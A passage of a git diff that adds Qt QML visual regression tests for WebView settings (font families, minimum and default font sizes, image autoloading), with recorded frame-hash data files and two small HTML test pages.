+ msec: 2096
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2112
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2128
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2144
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2160
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2176
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2192
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2208
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2224
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2240
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2256
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2272
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2288
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2304
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2320
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2336
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2352
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.png
new file mode 100644
index 00000000..f3c621af
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml
new file mode 100644
index 00000000..414d64fb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml
@@ -0,0 +1,351 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 32
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 48
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 64
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 80
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 96
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 112
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 128
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 144
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 160
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 176
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 192
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 208
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 224
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 240
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 256
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 272
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 288
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 304
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 320
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 336
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 352
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 368
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 384
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 400
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 416
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 432
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 448
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 464
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 480
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 496
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 512
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 528
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 544
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 560
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 576
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 592
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 608
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 624
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 640
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 656
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 672
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 688
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 704
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 720
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 736
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 752
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 768
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 784
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 800
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 816
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 832
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 848
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 864
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 880
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 896
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 912
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 928
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 944
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 960
+ image: "setFontFamily.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 992
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1008
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1024
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1040
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1056
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1072
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1088
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1104
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1120
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1136
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1152
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1168
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1184
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1200
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1216
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1232
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1248
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1264
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1280
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1296
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1312
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1328
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1344
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1360
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+ Frame {
+ msec: 1376
+ hash: "7ef8bb83c146898bd75de8951a932b58"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml
new file mode 100644
index 00000000..7c327042
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+WebView {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ id: web
+ width: 200
+ height: 200
+ Column {
+ anchors.fill: parent
+ Text { text: "standard: " + web.settings.standardFontFamily }
+ Text { text: "fixed: " + web.settings.fixedFontFamily }
+ Text { text: "serif: " + web.settings.serifFontFamily }
+ Text { text: "sansserif: " + web.settings.sansSerifFontFamily }
+ Text { text: "cursive: " + web.settings.cursiveFontFamily }
+ Text { text: "fantasy: " + web.settings.fantasyFontFamily }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml b/tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml
new file mode 100644
index 00000000..988ff641
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml
@@ -0,0 +1,72 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Grid {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ columns: 3
+ Rectangle {
+ Text { color: "green"; text: "Normal" }
+ border.color: "black"
+ width: 200
+ height: 200
+ WebView {
+ anchors.fill: parent
+ url: "test.html"
+ }
+ }
+ Rectangle {
+ Text { color: "green"; text: "Big" }
+ border.color: "black"
+ width: 200
+ height: 200
+ WebView {
+ anchors.fill: parent
+ url: "test.html"
+ settings.minimumFontSize: 20
+ }
+ }
+ Rectangle {
+ Text { color: "green"; text: "Big (logical)" }
+ border.color: "black"
+ width: 200
+ height: 200
+ WebView {
+ anchors.fill: parent
+ url: "test.html"
+ settings.minimumLogicalFontSize: 20
+ }
+ }
+ Rectangle {
+ Text { color: "green"; text: "Bigger" }
+ border.color: "black"
+ width: 200
+ height: 200
+ WebView {
+ anchors.fill: parent
+ url: "test.html"
+ settings.minimumFontSize: 30
+ }
+ }
+ Rectangle {
+ Text { color: "green"; text: "Small (except fixed)" }
+ border.color: "black"
+ width: 200
+ height: 200
+ WebView {
+ anchors.fill: parent
+ url: "test.html"
+ settings.defaultFontSize: 8
+ }
+ }
+ Rectangle {
+ Text { color: "green"; text: "Small fixed" }
+ border.color: "black"
+ width: 200
+ height: 200
+ WebView {
+ anchors.fill: parent
+ url: "test.html"
+ settings.defaultFixedFontSize: 8
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml b/tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml
new file mode 100644
index 00000000..c465be8b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Grid {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ columns: 2
+ Rectangle {
+ Text { id: label; x:10; y:170; color: "green"; text: "No image" }
+ border.color: "black"
+ width: 200
+ height: 200
+ WebView {
+ anchors.fill: parent
+ settings.autoLoadImages: false
+ url: "test-img.html"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { parent.settings.autoLoadImages=true; label.text=""; parent.reload.trigger() }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/qtlogo.png b/tests/auto/declarative/qmlvisual/webview/settings/qtlogo.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/qtlogo.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml
new file mode 100644
index 00000000..11de161f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+WebView {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ url: "test.html"
+ width: 300
+ height: 300
+ settings.standardFontFamily: font.name
+ // WebKit doesn't seem to honour any other FontFamily settings
+ FontLoader { id: font; source: "tarzeau_ocr_a.ttf" }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttf b/tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttf
new file mode 100644
index 00000000..cf93f965
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttf
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/test-img.html b/tests/auto/declarative/qmlvisual/webview/settings/test-img.html
new file mode 100644
index 00000000..cdd63ace
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/test-img.html
@@ -0,0 +1,6 @@
+<html>
+<body>
+<h1>Boring Document</h1>
+<p>
+This is a boring document.
+With a picture: <img src="qtlogo.png">
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/test.html b/tests/auto/declarative/qmlvisual/webview/settings/test.html
new file mode 100644
index 00000000..3265e205
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/test.html
@@ -0,0 +1,9 @@
+<html>
+<body>
+<h1>Boring Document</h1>
+<p>
+This is a boring document.
+</p>
+<i>This is italic.</i>
+<b>This is bold.</b>
+<tt>This is fixed.</tt>
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml
new file mode 100644
index 00000000..2e60b7ff
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml
@@ -0,0 +1,227 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 32
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 48
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 64
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 80
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 96
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 112
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 128
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 144
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 160
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 176
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 192
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 208
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 224
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 240
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 256
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 272
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 288
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 304
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 320
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 336
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 352
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 368
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 384
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 400
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 416
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 432
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 448
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 464
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 480
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 496
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 512
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 528
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 544
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 560
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 576
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 592
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 608
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 624
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 640
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 656
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 672
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 688
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 704
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 720
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 736
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 752
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 768
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 784
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 800
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 816
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 832
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 848
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 864
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+ Frame {
+ msec: 880
+ hash: "9a2554b1b322ea71115fa91d0100d2ff"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.png
new file mode 100644
index 00000000..38df70e1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml
new file mode 100644
index 00000000..464e0090
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml
@@ -0,0 +1,415 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "4f999826cd5ebe4f58bfd255e1c22be0"
+ }
+ Frame {
+ msec: 32
+ hash: "3aa9bd1bd75219f82578689ac6d81c7e"
+ }
+ Frame {
+ msec: 48
+ hash: "19d5f48f1c73d52483be96c887d3fd76"
+ }
+ Frame {
+ msec: 64
+ hash: "9b85eef4e0746cc43aaefd442efdd824"
+ }
+ Frame {
+ msec: 80
+ hash: "fca0034fb720e40198ede95a0ab0fadb"
+ }
+ Frame {
+ msec: 96
+ hash: "9f63ddbd927a4b08242f3410a9ed7283"
+ }
+ Frame {
+ msec: 112
+ hash: "4f5804c3c3ee195470a462293307cfd5"
+ }
+ Frame {
+ msec: 128
+ hash: "d0434f08a8097b97b76c1194317a38ba"
+ }
+ Frame {
+ msec: 144
+ hash: "921880d300e56f9605923a13fcd8b967"
+ }
+ Frame {
+ msec: 160
+ hash: "f5dc87abf36332c68fd4450a6236dcb4"
+ }
+ Frame {
+ msec: 176
+ hash: "c54f220cd5768afa1c12579007e17eff"
+ }
+ Frame {
+ msec: 192
+ hash: "e1c70c3896d5a937296f205b09991b31"
+ }
+ Frame {
+ msec: 208
+ hash: "d135f70f761add1358062a0386c62d18"
+ }
+ Frame {
+ msec: 224
+ hash: "53cb2ed2b65e77cf0cd70530f32854ad"
+ }
+ Frame {
+ msec: 240
+ hash: "2ff4feb61d958a800b38b282c3400293"
+ }
+ Frame {
+ msec: 256
+ hash: "59f5585ec472efa29c5eba8b972ab3bd"
+ }
+ Frame {
+ msec: 272
+ hash: "3aef5e1ff6da15e0e9f2e620dbabbab2"
+ }
+ Frame {
+ msec: 288
+ hash: "2931299f667752efe9fca727534385e1"
+ }
+ Frame {
+ msec: 304
+ hash: "2ed90e61c41b994ccea924191b66fc71"
+ }
+ Frame {
+ msec: 320
+ hash: "1424c634067c896973c2c10793957933"
+ }
+ Frame {
+ msec: 336
+ hash: "c4d30d511053a7caeefdae753236cf5b"
+ }
+ Frame {
+ msec: 352
+ hash: "32300e07e34e8f316770c790a5ef9f6d"
+ }
+ Frame {
+ msec: 368
+ hash: "95312dc2a4d88a48605fea170712354d"
+ }
+ Frame {
+ msec: 384
+ hash: "3d146357d1532640cefb64fbae75bc0d"
+ }
+ Frame {
+ msec: 400
+ hash: "5b78740511a456a3647d8392b2008f7f"
+ }
+ Frame {
+ msec: 416
+ hash: "dddb065cefa27a862d108429c9984191"
+ }
+ Frame {
+ msec: 432
+ hash: "0857067a0ee381e0f462ef8aceb0b696"
+ }
+ Frame {
+ msec: 448
+ hash: "1f5e7e064cc62ff2e0585c98875351df"
+ }
+ Frame {
+ msec: 464
+ hash: "c7f6bb852bdb2b99cbb5a8ca34f1585a"
+ }
+ Frame {
+ msec: 480
+ hash: "f2284dea5812f167cae08c687fc1a3e9"
+ }
+ Frame {
+ msec: 496
+ hash: "deec54bc32c46921e5032bce7daa1dad"
+ }
+ Frame {
+ msec: 512
+ hash: "1271d3704de17bfe463c76fd73c3132b"
+ }
+ Frame {
+ msec: 528
+ hash: "0568b0ecd47cd1c34b9de477e68e5751"
+ }
+ Frame {
+ msec: 544
+ hash: "f070dd88e42697a9e43573f9f41b3540"
+ }
+ Frame {
+ msec: 560
+ hash: "f5ced2827b06ea514f05866f1e4099f0"
+ }
+ Frame {
+ msec: 576
+ hash: "59f5585ec472efa29c5eba8b972ab3bd"
+ }
+ Frame {
+ msec: 592
+ hash: "2ff4feb61d958a800b38b282c3400293"
+ }
+ Frame {
+ msec: 608
+ hash: "53cb2ed2b65e77cf0cd70530f32854ad"
+ }
+ Frame {
+ msec: 624
+ hash: "d135f70f761add1358062a0386c62d18"
+ }
+ Frame {
+ msec: 640
+ hash: "e1c70c3896d5a937296f205b09991b31"
+ }
+ Frame {
+ msec: 656
+ hash: "c54f220cd5768afa1c12579007e17eff"
+ }
+ Frame {
+ msec: 672
+ hash: "f5dc87abf36332c68fd4450a6236dcb4"
+ }
+ Frame {
+ msec: 688
+ hash: "921880d300e56f9605923a13fcd8b967"
+ }
+ Frame {
+ msec: 704
+ hash: "d0434f08a8097b97b76c1194317a38ba"
+ }
+ Frame {
+ msec: 720
+ hash: "4f5804c3c3ee195470a462293307cfd5"
+ }
+ Frame {
+ msec: 736
+ hash: "9f63ddbd927a4b08242f3410a9ed7283"
+ }
+ Frame {
+ msec: 752
+ hash: "fca0034fb720e40198ede95a0ab0fadb"
+ }
+ Frame {
+ msec: 768
+ hash: "9b85eef4e0746cc43aaefd442efdd824"
+ }
+ Frame {
+ msec: 784
+ hash: "19d5f48f1c73d52483be96c887d3fd76"
+ }
+ Frame {
+ msec: 800
+ hash: "3aa9bd1bd75219f82578689ac6d81c7e"
+ }
+ Frame {
+ msec: 816
+ hash: "4f999826cd5ebe4f58bfd255e1c22be0"
+ }
+ Frame {
+ msec: 832
+ hash: "3aa9bd1bd75219f82578689ac6d81c7e"
+ }
+ Frame {
+ msec: 848
+ hash: "19d5f48f1c73d52483be96c887d3fd76"
+ }
+ Frame {
+ msec: 864
+ hash: "9b85eef4e0746cc43aaefd442efdd824"
+ }
+ Frame {
+ msec: 880
+ hash: "fca0034fb720e40198ede95a0ab0fadb"
+ }
+ Frame {
+ msec: 896
+ hash: "9f63ddbd927a4b08242f3410a9ed7283"
+ }
+ Frame {
+ msec: 912
+ hash: "4f5804c3c3ee195470a462293307cfd5"
+ }
+ Frame {
+ msec: 928
+ hash: "d0434f08a8097b97b76c1194317a38ba"
+ }
+ Frame {
+ msec: 944
+ hash: "921880d300e56f9605923a13fcd8b967"
+ }
+ Frame {
+ msec: 960
+ image: "renderControl.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "c54f220cd5768afa1c12579007e17eff"
+ }
+ Frame {
+ msec: 992
+ hash: "e1c70c3896d5a937296f205b09991b31"
+ }
+ Frame {
+ msec: 1008
+ hash: "d135f70f761add1358062a0386c62d18"
+ }
+ Frame {
+ msec: 1024
+ hash: "53cb2ed2b65e77cf0cd70530f32854ad"
+ }
+ Frame {
+ msec: 1040
+ hash: "2ff4feb61d958a800b38b282c3400293"
+ }
+ Frame {
+ msec: 1056
+ hash: "59f5585ec472efa29c5eba8b972ab3bd"
+ }
+ Frame {
+ msec: 1072
+ hash: "3aef5e1ff6da15e0e9f2e620dbabbab2"
+ }
+ Frame {
+ msec: 1088
+ hash: "2931299f667752efe9fca727534385e1"
+ }
+ Frame {
+ msec: 1104
+ hash: "2ed90e61c41b994ccea924191b66fc71"
+ }
+ Frame {
+ msec: 1120
+ hash: "1424c634067c896973c2c10793957933"
+ }
+ Frame {
+ msec: 1136
+ hash: "c4d30d511053a7caeefdae753236cf5b"
+ }
+ Frame {
+ msec: 1152
+ hash: "32300e07e34e8f316770c790a5ef9f6d"
+ }
+ Frame {
+ msec: 1168
+ hash: "95312dc2a4d88a48605fea170712354d"
+ }
+ Frame {
+ msec: 1184
+ hash: "3d146357d1532640cefb64fbae75bc0d"
+ }
+ Frame {
+ msec: 1200
+ hash: "5b78740511a456a3647d8392b2008f7f"
+ }
+ Frame {
+ msec: 1216
+ hash: "dddb065cefa27a862d108429c9984191"
+ }
+ Frame {
+ msec: 1232
+ hash: "0857067a0ee381e0f462ef8aceb0b696"
+ }
+ Frame {
+ msec: 1248
+ hash: "1f5e7e064cc62ff2e0585c98875351df"
+ }
+ Frame {
+ msec: 1264
+ hash: "c7f6bb852bdb2b99cbb5a8ca34f1585a"
+ }
+ Frame {
+ msec: 1280
